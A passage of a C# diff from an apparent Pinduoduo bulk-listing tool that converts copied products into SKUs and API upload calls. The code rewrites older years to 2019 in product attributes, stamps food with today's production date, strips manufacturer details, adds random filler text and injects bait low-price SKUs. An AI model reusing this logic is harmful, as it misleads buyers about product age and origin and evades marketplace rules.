li[2].Substring(li[2].IndexOf(":") + 1).Trim(); + if (t.FromType == "微店") + { + n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+"); + n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+"); + n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+"); + } + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + sku = pb.SkuMaps[l]; + break; + } + } + if (li.Length == 4) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim(); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim(); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim(); + string n4 = li[3].Substring(li[3].IndexOf(":") + 1).Trim(); + if (t.FromType == "微店") + { + n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+"); + n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+"); + n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+"); + n4 = li[3].Substring(li[3].IndexOf(":") + 1).Trim().Replace(" ", "+"); + } + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + sku = pb.SkuMaps[l]; + break; + } + if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2) + { + sku = pb.SkuMaps[l]; + break; + } + } + } + if (string.IsNullOrEmpty(sku.pinduoduo_image)) + { + sku.pinduoduo_image = firstSkuImage; + } + if (sku.new_price == 0) + { + sku.new_price = (int)maxPriceNew; + sku.number = 0; + } + if (sku.new_price > sku.online_price - 100) + sku.online_price = sku.new_price + 100; + + if (maxSkuPriceOnline < sku.online_price) + maxSkuPriceOnline = sku.online_price; + if (maxSkuMultiPriceOnline < sku.new_price) + maxSkuMultiPriceOnline = sku.new_price; + if (pb.Props[1].Values[k].id == null || pb.Props[0].Values[j].id == null || pb.Props[1].Values[k].id.Contains("null") || pb.Props[0].Values[j].id.Contains("null")) + continue; + int onsale = sku.number == 0 || sku.price == 0 ? 0 : 1; + if (skuApiString.Contains(pb.Props[0].Values[j].id + "," + pb.Props[1].Values[k].id + "]")) + continue; + int quantity = UploadPinduoduoMain.LimitBuy; + if (!UploadPinduoduoMain.isDefaultQun) + { + quantity = sku.number; + } + skuString += ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"quantity_delta\":" + quantity + ",\"thumb_url\":\"" + sku.pinduoduo_image + "\"," + + "\"multi_price\":" + sku.new_price + ",\"price\":" + + sku.online_price + + ",\"out_sku_sn\":\"" + out_goods_id + "\",\"id\":0,\"spec\":" + + "[" + sm + "],\"weight\":1000}"; + if (UploadPinduoduoMain.LowPriceQ && skuMin != null && sku.id == skuMin.id) + { + skuApiString += ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"price\":\"" + sku.online_price + "\",\"weight\":1000,\"multi_price\":\"" + sku.new_price + + "\",\"thumb_url\":\"" + sku.pinduoduo_image + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + UploadPinduoduoMain.LowPriceStock + ",\"spec_id_list\":\"[" + pb.Props[0].Values[j].id + "," + pb.Props[1].Values[k].id + "]\"}"; + } + else + { + skuApiString += ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"price\":\"" + sku.online_price + "\",\"weight\":1000,\"multi_price\":\"" + sku.new_price + + "\",\"thumb_url\":\"" + sku.pinduoduo_image + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + quantity + ",\"spec_id_list\":\"[" + pb.Props[0].Values[j].id + "," + pb.Props[1].Values[k].id + "]\"}"; + } + if (UploadPinduoduoMain.LowPriceSku && sku.id == skuMin.id) + { + skuMinString = "{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"price\":\"" + (skuMinBackPrice + 100) + "\",\"weight\":1000,\"multi_price\":\"" + skuMinBackPrice + + "\",\"thumb_url\":\"" + sku.pinduoduo_image + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + quantity + ",\"spec_id_list\":\"[" + pb.Props[0].Values[j].id + "," + pb.Props[1].Values[k].id + "]\"}"; + } + pb.Props[0].Values[j].is_used = true; + pb.Props[1].Values[k].is_used = true; + out_goods_id = ""; + } + } + } + if (maxSkuPriceOnline > 0 && maxSkuPriceOnline < maxPriceOnline) + market_price = (int)(maxSkuPriceOnline * UploadPinduoduoMain.BeforePrice); + + if (!string.IsNullOrEmpty(skuString)) + skuString = skuString.Substring(1); + if (!string.IsNullOrEmpty(skuApiString)) + skuApiString = skuApiString.Substring(1); + string content = string.IsNullOrEmpty(pb.content_pinduoduo) ? pb.name : pb.content_pinduoduo; + if (pb.from_site_id == 1 || pb.from_site_id == 3 || pb.from_site_id == 4) + { + content = ""; + for (int i = 0; i < pb.Prop.Count && content.Length < 450; i++) + { + if (pb.Prop[i].Key.Contains("生产") || pb.Prop[i].Key.Contains("联系") || pb.Prop[i].Key.Contains("厂名") || pb.Prop[i].Key.Contains("厂址") || pb.Prop[i].Key.Contains("生产") || pb.Prop[i].Key.Contains("保质期")) + continue; + if (pb.Prop[i].Key.Contains("价") || pb.Prop[i].Value.Contains("元") || pb.Prop[i].Value.Contains("预售") || pb.Prop[i].Value.Contains("品牌")) + continue; + if (pb.Prop[i].Key.Contains("主要下游平台")) + continue; + content += pb.Prop[i].Key + ":" + pb.Prop[i].Value.Replace("2016", "2019").Replace("2017", "2019").Replace("2018", "2019").Trim() + ";"; + } + if (content.Length < 10) + content = pb.name; + content = content.Replace("\"", "\\\"").Replace("/", "\\/"); + } + if (content.Length < 40) + content += pb.name; + int mallId = Shop != null ? Shop.MallId : BaseClass.MallId; + string addContent = UploadPinduoduoMain.AddType(ref pb, Shop.MainCatId, Cookies, mallId); + + bool again = false; + string error_msg = ""; + + content += UploadPinduoduoMain.RandDesc ? Randomx.GetWord(1) + Randomx.GetNumber(1) : ""; + if (pb.from_id == 0) + pb.from_id = t.FromId; + if (pb.from_id == 0) + { + t.Message = "上家编码异常,请联系管理员"; + Error("上家编码异常:" + t.Titlte, t.Message); + return; + } + + t.ShopName = Shop.Name; + bool replaceFrist = true; + string skuStringx = "", skuApiStringx = ""; + + //生成新的价格 + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNewx < pb.SkuMaps[i].new_price) + maxPriceNewx = pb.SkuMaps[i].new_price; + if (minPriceNewx > pb.SkuMaps[i].new_price) + minPriceNewx = pb.SkuMaps[i].new_price; + } + if (maxPriceNewx == 0) + { + maxPriceNewx = maxPriceNew; + minPriceNewx = maxPriceNew; + } + + long upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10000, 99999); + content = content.Replace("阳台", "").Replace("运费险", "").Replace("QQ", "").Replace("限量", "").Replace("成人", "").Replace("货到付款", "").Replace("老人", "").Replace("定金", "").Replace("抽奖", "").Replace("VX", "").Replace("★", "").Replace("?", "").Replace("天猫", "").Replace("淘宝", ""); + var mcontent = BaseRegex.GetMatchRegex(ref content, @"品牌[^>]+?[;|;]"); + if (mcontent != null && mcontent.Count > 0) + content = content.Replace(mcontent[0].Groups[0].Value, ""); + pb.name = ReplaceTitle(pb.name); + string startname = pb.name.Substring(0, 1); + if (startname == "@") + pb.name = pb.name.Substring(1); + string tiny_name = pb.name.Length <= 10 ? pb.name : pb.name.Substring(0, 10); + if (content.Length > 500) + content = content.Substring(0, 500); + //if (t.FromType == "拼多多" || t.FromType == "内部数据") + // goto UserMmc; + //API接口 + PinduoduoApiGetProduct api = null; + //UploadPinduoduoMain.isDefaultMoni = true;//测试模拟接口使用,请勿提交 by ttzhao 2020.7.4 + if (UploadPinduoduoMain.isDefaultMoni) + goto UserMmc; + api = new PinduoduoApiGetProduct(Shop); + if (us != null) + { + api.Data.Add("goods_id", us.GoodsId.ToString()); + } + else if (UploadPinduoduoMain.isLowPriceApplied && !string.IsNullOrEmpty(skuApiString)) + { + decimal times = GetCatTimes(catId); + if (times != 0) + { + var lowPriceSkus = string.Empty; + decimal lowPrice = maxSkuMultiPriceOnline / (times * 100); + var json = api.GetProductInfoByCatAndPrice(catId, lowPrice); + JObject jObj = JObject.Parse(json); + if (jObj["goods_search_response"] != null) + { + int retryTimes = 0; + //生成特定低价引流spec,名称为“1” + List lowPriceSpecs = new List(); + for (int i = 0; i < pb.Props.Count; i++) + { + var specId = pb.Props[i].pinduoduo_id; + var generatedSpec = api.GetSpecId(specId, "1"); + var generatedSpecId = BaseRegex.GetStringJson(ref generatedSpec, "spec_id"); + if (!pb.Props[i].Values.Any(sp => sp.id == generatedSpecId)) + { + lowPriceSpecs.Add(generatedSpecId); + } + } + if (lowPriceSpecs.Count > 0) + { + foreach (var item in jObj["goods_search_response"]["goods_list"]) + { + if (retryTimes++ < 10 && lowPriceSkus == string.Empty) + { + var token = PinduoduoProductCollect.GetRandomPDDAccessToken(p => p.ProductDetailStatus == 1); + if (!string.IsNullOrEmpty(token)) + { + lowPriceSkus = PinduoduoProductCollect.GenerateLowPriceSkus(item["goods_id"].ParseToLong(), lowPrice, pb.Props, lowPriceSpecs, token); + } + } + else + { + break; + } + } + skuApiString += lowPriceSkus; + } + } + } + } + if (UploadPinduoduoMain.isfruit) + api.Data.Add("bad_fruit_claim", "1"); + api.Data.Add("goods_name", pb.name); + api.Data.Add("goods_type", "1"); + api.Data.Add("goods_desc", content); + api.Data.Add("cat_id", catId.ToString()); + api.Data.Add("tiny_name", tiny_name); + api.Data.Add("country_id", "0"); + api.Data.Add("market_price", market_price.ToString()); + if (UploadPinduoduoMain.isPreSale) + { + api.Data.Add("pre_sale_time", UploadPinduoduoMain.endAdvanceTimex.ToString()); + api.Data.Add("is_pre_sale", "true"); + } + else + { + api.Data.Add("is_pre_sale", "false"); + } + api.Data.Add("shipment_limit_second", "172800"); + api.Data.Add("cost_template_id", Shop.ExpressId.ToString()); + api.Data.Add("customer_num", UploadPinduoduoMain.GroupCount.ToString()); //团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", UploadPinduoduoMain.BuyLimit.ToString()); + api.Data.Add("order_limit", UploadPinduoduoMain.OrderLimit.ToString()); + } + if (UploadPinduoduoMain.isSevNoRea) + api.Data.Add("is_refundable", "true"); + else + api.Data.Add("is_refundable", "false"); + + if(BaseClass.UserVersion == 110) // 特殊版本默认七天无理由退货 + api.Data["is_refundable"] = "true"; + + if (catId == 18230 || catId == 18141 || catId == 18159 || UploadPinduoduoMain.isfolt) + api.Data.Add("is_folt", "false"); + else + api.Data.Add("is_folt", "true"); + if (!string.IsNullOrEmpty(addContent)) + { + int fabric = BaseRegex.GetIntJson(ref addContent, "fabric"); + int fabric_content = BaseRegex.GetIntJson(ref addContent, "fabric_content"); + api.Data.Add("fabric", fabric.ToString()); + api.Data.Add("fabric_content", fabric_content.ToString()); + } + if (UploadPinduoduoMain.isSecond) + { + api.Data.Add("second_hand", "true"); + } + else + { + api.Data.Add("second_hand", "false"); + } + if (Shop.MainCatName == "海淘进口" && (pb.main_cat_name == "海淘进口" || pb.main_cid == 8)) + { + if (string.IsNullOrEmpty(Shop.bondedWarehouseName)) + { + Shop.CanUpload = false; + error_msg = "没有获取到保税区信息"; + Shop.Message = error_msg; + UploadPinduoduoMain.ShopTemp.Add(Shop); + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (UploadPinduoduoMain.CountryList.Count == 0) + { + string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/country/list"; + string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, urlx, true, "", Shop.Cookies); + var mxt = BaseRegex.GetMatchRegex(ref htmlx, "{[^}]+?}"); + for (int j = 0; j < mxt.Count; j++) + { + string list = mxt[j].Groups[0].Value; + string country_id = BaseRegex.GetStringJson(ref list, "country_id"); + string country_name = BaseRegex.GetStringJson(ref list, "country_name"); + if (!UploadPinduoduoMain.CountryList.ContainsKey(country_id)) + UploadPinduoduoMain.CountryList.Add(country_id, country_name); + } + } + var countryid = UploadPinduoduoMain.CountryList.FirstOrDefault(q => q.Value == t.country || t.country.Contains(q.Value)).Key; + if (string.IsNullOrEmpty(countryid)) + countryid = "233"; + api.Data.Remove("goods_type"); + api.Data.Remove("country_id"); + api.Data.Remove("shipment_limit_second"); + api.Data.Add("goods_type", "3"); + api.Data.Add("country_id", countryid); + api.Data.Add("origin_country_id", countryid); + api.Data.Add("shipment_limit_second", "432000"); + api.Data.Add("oversea_goods", "{\"bonded_warehouse_key\":\"" + Shop.bondedWarehouseKey + "\",\"customs_broker\":null,\"hs_code\":null,\"value_added_tax_rate\":null,\"consumption_tax_rate\":null}"); + } + api.Data.Add("sku_list", + "[" + (string.IsNullOrEmpty(skuApiStringx) ? skuApiString : skuApiStringx) + "]"); + if (UploadPinduoduoMain.defaultPid) + { + string code = ""; + if (pb.from_site_id == 1) + code = "tb-"; + if (pb.from_site_id == 2) + code = "pd-"; + if (pb.from_site_id == 3) + code = "al-"; + code += pb.from_id; + api.Data.Add("out_goods_id", code); + } + else + { + api.Data.Add("out_goods_id", ""); + } + //api.Data.Add("hd_thumb_url", img400); + //api.Data.Add("thumb_url", img200); + //api.Data.Add("image_url", mainImageUrl); + api.Data.Add("carousel_gallery", "[" + apiImageString.Substring(1) + "]"); + api.Data.Add("detail_gallery", "[" + apiContentString + "]"); + if (t.GoodsId < 0) + t.GoodsId = 0; + + if (",983,".Contains("," + catId + ","))//卷纸 + { + api.Data.Add("paper_net_weight", "100"); + api.Data.Add("paper_length", "100"); + api.Data.Add("paper_width", "100"); + api.Data.Add("paper_plies_num", "1"); + } + if (",2,6586,6785,6883,6758,6536,6630,6398,,63,64,65,92,95,99,101,3853,3862,3867,3872,3876,3900,898,897,3993,1079,".Contains("," + t.Cat1 + ",")) //食品 + { + api.Data.Add("shelf_life", "300"); + api.Data.Add("start_production_date", BaseClass.GetTime(DateTime.Today).ToString()); + api.Data.Add("end_production_date", BaseClass.GetTime(DateTime.Today).ToString()); + } + string mustCode = ""; + string properties = ""; + if (UploadPinduoduoMain.ismaterial) + { + properties = UploadPinduoduoProperties.GetNew(catId, t.Cat1, ref pb, ref Shop, out mustCode, true); + } + else + { + //UploadPinduoduoProperties.GetGuoJian(0,"",Shop); + properties = UploadPinduoduoProperties.GetNew(catId, t.Cat1, ref pb, ref Shop, out mustCode, false); + } + if (!string.IsNullOrEmpty(properties)) + { + //api.Data.Remove("goods_properties"); + api.Data["goods_properties"] = "[" + properties.Substring(1) + "]"; + } + api.Data["gallery"] = imageString; + //api.Data.Add("skus", "[" + (string.IsNullOrEmpty(skuStringx) ? skuString : skuStringx.Substring(1)) + "]"); + + t.Price = pb.price; + //==================================图片缓存======================== + string temp = ""; + foreach (KeyValuePair item in picUped) + { + temp += Math.Abs(item.Key) + "," + item.Value + ";"; + } + if (!string.IsNullOrEmpty(temp)) + { + url = BaseClass.LoginApiUrl + "?obj=upshopid/image_pinduoduo&act=add"; + data = UserLogin.GetSignaturex() + "&data=" + temp; + html = GetHtml.PostUtf8(url, data); + } + //==================================图片缓存 结束======================== + + if (BaseClass.UserApi)//是否启用API上传 BaseClass.UseApiFirst + { + try + { + if (us != null) //修改 + { + t.GoodsId = us.GoodsId; + UploadPinduoduoDeleteSku upx = new UploadPinduoduoDeleteSku(Name, Shop, us, skuString, skuApiString); + upx.pb = pb; + upx.Cat1 = t.Cat1; + upx.MaxPrice = maxPriceNewx; + upx.MinPrice = minPriceNewx; + upx.NewUpId = upid; + upx.skus = "[" + (string.IsNullOrEmpty(skuStringx) ? skuString : skuStringx.Substring(1)) + "]"; + foreach (KeyValuePair key in api.Data) + { + upx.Data.Add(key.Key, key.Value); + } + bool success = upx.GetNew(); + if (!upx.CanUpload) + { + Shop.CanUpload = false; + Shop.Message = "高风险店铺、惩罚中或需要设置运费模板"; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + } + if (!success) + { + t.Message = "替换审核失败"; + Error("提交异常:" + t.Titlte, t.Message); + //setOffProduct(us.GoodsId); + //error_msg += " 自动下架成功"; + return; + } + api.Data["cat_id"] = catId.ToString(); + } + } + catch + { + } + if (t.ViGoodsName == "6" || string.IsNullOrEmpty(t.ViGoodsName) && (pb.from_site_id == 1 || pb.from_site_id == 3 || pb.from_site_id == 4 || pb.from_site_id == 6) && UploadPinduoduoMain.MultiPrice <= 8 && UploadPinduoduoMain.Postage <= 0) + //if ((!string.IsNullOrEmpty(t.ViGoodsName)&&t.ViGoodsId>0&&t.ViPriceMin>0&&t.ViPriceMax>0) ||( string.IsNullOrEmpty(t.ViGoodsName) && (pb.from_site_id == 1 || pb.from_site_id == 3) && UploadPinduoduoMain.MultiPrice <= 8 && UploadPinduoduoMain.Postage <= 0)) + api.FromWeiDian = true; + if (UploadPinduoduoMain.isPriceModel) + api.FromWeiDian = true; + if (us != null) //修改 + { + t.GoodsId = us.GoodsId; + //if (api.Data.ContainsKey("skus")) + // api.Data.Remove("skus"); + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + html = api.Updata(); + if (html.Contains("该类目商品不允许设置限购,请设置单次限量为999999")) + { + if (api.Data.ContainsKey("buy_limit")) + { + api.Data["buy_limit"] = "999999"; + api.Data["order_limit"] = "999999"; + } + else + { + api.Data.Add("buy_limit", "999999"); + api.Data.Add("order_limit", "999999"); + } + html = api.Updata(); + } + if (html.Contains("存在多余或重复输入")) + { + api.Data["goods_desc"] = pb.name; + html = api.Updata(); + } + if (!string.IsNullOrEmpty(html) && html.Contains("\"is_success\"")) + { + error_msg = "正在检测是否替换成功"; + t.Message = error_msg; + Error("正在检测:" + t.Titlte, t.Message); + Thread.Sleep(1000); + long goods_commit_id = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + int goods_status = 1; + for (int i = 0; goods_commit_id > 0 && i < 300 && goods_status == 1; i++) + { + html = new PinduoduoApiGetProduct(Shop).GetCommitDetail(goods_commit_id); + goods_status = BaseRegex.GetIntJson(ref html, "goods_status"); + if (goods_status == 1) + Thread.Sleep(1 * 1000); + } + if (goods_commit_id > 0) + new PinduoduoApiGetProduct(Shop).DeleteCommitDetail(goods_commit_id); + if (goods_status != 2 && goods_status != 4) + { + error_msg = "替换审核失败"; + goto ErrorEnd; + } + api = new PinduoduoApiGetProduct(Shop); + SetUpProduct(t.GoodsId, upProductId); + int siteId = pb.from_site_id; + if (t.ViGoodsName == "4") + siteId = 4; + if (t.ViGoodsName == "5") + siteId = 5; + if (t.ViGoodsName == "6") + siteId = 6; + if (string.IsNullOrEmpty(t.ViGoodsName) && (pb.from_site_id == 2 || UploadPinduoduoMain.MultiPrice > 8 || UploadPinduoduoMain.Postage > 0)) + { + new GetNewTaobaoUpId(Shop).Get(t.GoodsId, t.FromId, imageByte, (int)minPriceNewx, (int)maxPriceNewx, beforeTitle); + } + else + { + if (t.ViGoodsId <= 0) + { + if (beforePriceMin > beforePriceMax) + { + int tempPrice = beforePriceMin; + beforePriceMin = beforePriceMax; + beforePriceMax = tempPrice; + } + html = api.Relationx(t.GoodsId, t.FromId, beforePriceMin, beforePriceMax, expressPrcie, siteId); + } + else + { + if (t.ViPriceMin > t.ViPriceMax) + { + int tempPrice = t.ViPriceMin; + t.ViPriceMin = t.ViPriceMax; + t.ViPriceMax = tempPrice; + } + html = api.Relationx(t.GoodsId, t.ViGoodsId, t.ViPriceMin, t.ViPriceMax, t.ViExpressPrice, siteId);//4 京东 5苏宁 + } + } + + goto End; + } + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + ErrorEnd: + if (UploadPinduoduoMain.ErrorDown) + { + new PinduoduoApiGetProduct(Shop).SetOnline(us.GoodsId, false); + error_msg += " 自动下架成功"; + } + t.Message = error_msg; + Error("提交异常:" + t.Titlte, t.Message); + if (UploadPinduoduoMain.EditDayTemp.ContainsKey(t.GoodsId)) + UploadPinduoduoMain.EditDayTemp[t.GoodsId] = DateTime.Now; + else + UploadPinduoduoMain.EditDayTemp.Add(t.GoodsId, DateTime.Now); + string tempFile = "temp/upsame/" + Shop.ShopName + "edit.tjm"; + temp = t.GoodsId + "," + DateTime.Now.ToString("yyyy-MM-dd") + "\r\n"; + FileBase.AppendAllText(tempFile, temp); + return; + } + //goto UserMmc;//使用第三方 + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + + #region 非微店模拟上家的,比较加价前sku最高和最低价和加价后sku最高和最低价格,超过108%去取微店缓存,如果取不到就报错 + if (t.ViGoodsId <= 0) + { + if (beforePriceMin > beforePriceMax) + { + int tempPrice = beforePriceMin; + beforePriceMin = beforePriceMax; + beforePriceMax = tempPrice; + } + // 上家商品高低价格 + int minFromProductPrice = beforePriceMin; + int maxFromProcuctPrice = beforePriceMax; + + int minAfterProductPrice = 999999; + int maxAfterProcuctPrice = 0; + // 加价后商品高低价格 + if (pb.SkuMaps.Count > 0) + { + minAfterProductPrice = pb.SkuMaps.Min(s => s.new_price); + maxAfterProcuctPrice = pb.SkuMaps.Max(s => s.new_price); + } + else + { + minAfterProductPrice = maxAfterProcuctPrice = Convert.ToInt32(pb.price * 100); + } + + if (minAfterProductPrice > minFromProductPrice * 1.08M + expressPrcie * 100 || maxAfterProcuctPrice > maxFromProcuctPrice * 1.08M + expressPrcie * 100) + { + var weidianCaches = ServerTemp.GetWeiDianCache(pb); + weidianCaches = ServerTemp.FilteWeiDianProducts(weidianCaches, minAfterProductPrice * 93 / 100, maxAfterProcuctPrice * 93 / 100); + if (weidianCaches.Count > 0) + { + t.ViGoodsName = "6"; + t.ViGoodsId = Convert.ToInt64(weidianCaches[0].Item1); + t.ViPriceMin = weidianCaches[0].Item2; + t.ViPriceMax = weidianCaches[0].Item3; + t.ViExpressPrice = 0; + } + else + { + Error("提交异常:" + t.Titlte, "商品加价差超过平台允许"); + return; + } + } + } + #endregion + //if (UploadPinduoduoMain.isDraft) + //{ + // html = api.AddDraft(); + //} + html = api.AddNew(); + if (UploadPinduoduoMain.isMaxPrice&&html.Contains("价格")) + { + string skulist = api.Data["sku_list"]; + long maxPrice = 0; + var maxitem = ""; + var mc = BaseRegex.GetMatchRegex(ref skulist, @"[,]?\{[\w\W]+?\}"); + for (int i = 0;mc!=null&&i < mc.Count; i++) + { + var item = mc[i].Groups[0].Value; + long multi= BaseRegex.GetLongJson(ref item, "multi_price"); + if (multi > maxPrice) + { + maxPrice = multi; + maxitem = item; + } + } + skulist = skulist.Replace(maxitem,""); + api.Data["sku_list"] = skulist; + html = api.AddNew(); + } + //if (!html.Contains("goods_id") &&UploadPinduoduoMain.LowPriceSku && UploadPinduoduoMain.isUpSku) + //{ + // string skuStr = api.Data["sku_list"];//skuMinString + // string specid = BaseRegex.GetMatchRegexString(ref skuMinString, @"""spec_id_list"":""\[([^}]+)\]"""); + // var mc = BaseRegex.GetMatchRegex(ref skuStr, @"{[^}]+""spec_id_list"":""\["+specid+@"\]""}"); + // var item = mc[0].Groups[0].Value; + // skuStr = skuStr.Replace(item,skuMinString); + // api.Data["sku_list"] = skuStr; + // html = api.AddNew(); + //} + if (html.Contains("协议")) + { + string urlAdd = "https://mms.pinduoduo.com/earth/api/protocol/signProtocol"; + string dataAdd = "{\"type\":0,\"signedStatus\":1}"; + string htmlAdd = GetPostTaobaoHtml.UploadTaobaoPost(urlAdd, "https://mms.pinduoduo.com/mallcenter/protocol/index", true, dataAdd, Shop.Cookies); + html = api.AddNew(); + } + if (html.Contains("分类调整已失效")) + { + FromTitleToCat.UserApi = true; + FromTitleToCat.inShop = null; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = new TaobaoProductBase(); + ft.Title = pb.name; + ft.TaobaoProduct.Titlte = pb.name; + ft.TaobaoProduct.FromId = pb.from_id; + ft.TaobaoCatId = pb.from_cat_id; + ft.JustGetCat = true; + ft.AgainCat = true; + ft.Get(); + if (!string.IsNullOrEmpty(ft.Cat1) && ft.Cat1 != "0") + { + pb.cat1 = int.Parse(ft.Cat1); + pb.cat2 = int.Parse(ft.Cat2); + pb.cat3 = int.Parse(ft.Cat3); + pb.cat4 = int.Parse(ft.Cat4); + int cat3 = int.Parse(ft.Cat3); + int cat4= pb.cat4 = int.Parse(ft.Cat4); + catId = cat4 > 0 ? cat4 : cat3; + //catId = PinduoduoCatList.GetNewCat3(catId); + api.Data["cat_id"] = catId.ToString(); + api.Data.Remove("goods_properties"); + string goods_properties = UploadPinduoduoProperties.GetNew(catId, pb.cat1, ref pb, ref Shop, out mustCode, true); + if (goods_properties.Length > 0) //by ttzhao 2020.6.29 + api.Data.Add("goods_properties", "[" + goods_properties.Substring(1) + "]"); + html = api.AddNew(); + } + ft.AgainCat = false; + } + if (html.Contains("流行元素校验错误:最多可选1个")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("流行元素") || px.name_alias.Contains("流行元素")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + //if (!string.IsNullOrEmpty(html) && html.Contains("当前运费模板已绑定商品数超过限制,请更换运费模板")) + //增加"请选择配送地区"的条件 by ttzhao 2020.6.23 + if (!string.IsNullOrEmpty(html) && (html.Contains("当前运费模板已绑定商品数超过限制,请更换运费模板") || html.Contains("请选择配送地区"))) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetRandx(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetRandx(Shop.Cookies, Shop.MallId, Shop); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "未找到新运费模板"); + Shop.Message = "运费模板超过商品数限制,请设置新的运费模板"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return; + } + api.Data.Remove("cost_template_id"); + api.Data["cost_template_id"] = Shop.ExpressId.ToString(); + html = api.AddNew(); + } + if (!string.IsNullOrEmpty(html) && html.Contains("对联分类因")) + { + api.Data["cat_id"] = "19511"; + html = api.AddNew(); + } + if (!string.IsNullOrEmpty(html) && html.Contains("红包/利是封分类因")) + { + api.Data["cat_id"] = "19497"; + html = api.AddNew(); + } + if (!string.IsNullOrEmpty(html) && html.Contains("该类目下假一罚十必选")) + { + api.Data["is_folt"] = "true"; + html = api.AddNew(); + } + if (html.Contains("请输入必填规格:电池容量")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("电池容量") || px.name_alias.Contains("电池容量")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var porps = pb.Props.Find(pr => pr.name.Contains("容量")); + var tempplaeItem= template.properties.Find(pr => pr.name.Contains("容量")|| pr.name_alias.Contains("容量")); + if (porps != null) + { + temp = ""; + for (int i = 0; i < porps.Values.Count; i++) + { + var c = porps.Values[i]; + var v = p.values.Find(vt => vt.spec_id == long.Parse(c.id)); + temp += ",{\"template_pid\":"+ tempplaeItem.id+ ",\"vid\":" + v.vid + ",\"value\":\"\",\"value_unit\":\"\",\"parent_spec_id\":"+ tempplaeItem.spec_id+ ",\"spec_id\":" + c.id + "}"; + } + properties = properties + temp; + api.Data.Add("goods_properties", "[" + properties.Substring(1) + "]"); + html = api.AddNew(); + } + } + if (html.Contains("属性净含量校验错误:无效单位")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("产品重量") || px.name_alias.Contains("净含量")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + var itemreplace = item.Replace("\"value_unit\":\"g\"", "\"value_unit\":\"mL\""); + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("属性生产日期校验错误") && html.Contains("不可选")) + { + var template = 